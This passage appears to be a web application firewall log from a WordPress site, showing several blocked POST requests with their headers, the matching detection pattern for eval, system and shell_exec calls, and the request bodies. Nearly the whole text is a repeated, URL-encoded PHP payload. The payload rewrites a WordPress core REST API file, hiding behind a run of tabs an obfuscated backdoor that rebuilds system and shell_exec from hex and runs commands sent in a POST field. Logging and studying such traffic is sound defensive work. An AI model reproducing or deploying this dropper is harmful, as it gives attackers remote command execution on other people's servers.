253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:48:38","203.190.11.3","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:9162\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\n\nrm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:49:55","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:9162\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\n\nkN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B